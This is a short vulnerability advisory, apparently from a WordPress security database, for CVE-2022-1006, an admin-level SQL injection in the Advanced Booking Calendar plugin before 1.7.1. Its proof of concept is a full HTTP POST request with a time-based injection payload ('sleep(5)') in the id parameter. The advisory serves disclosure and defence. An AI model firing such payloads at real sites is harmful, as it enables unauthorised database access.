Advanced Booking Calendar < 1.7.1 – Admin+ SQLi | CVE 2022-1006

Description

The plugin does not sanitise and escape the id parameter when editing Calendars, which could allow high privilege users such as admin to perform SQL injection attacks

Proof of Concept

Edit an existing Seasons & Calendars (/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars) and tamper the id parameter

POST /wp-admin/admin-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://192.168.9.32
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

action=abc_booking_editCalendar&id=1+and+sleep(5)&name=test&maxAvailabilities=1&maxUnits=5&pricePreset=9000&minimumStayPreset=1&partlyBooked=1&page_id=0&infotext=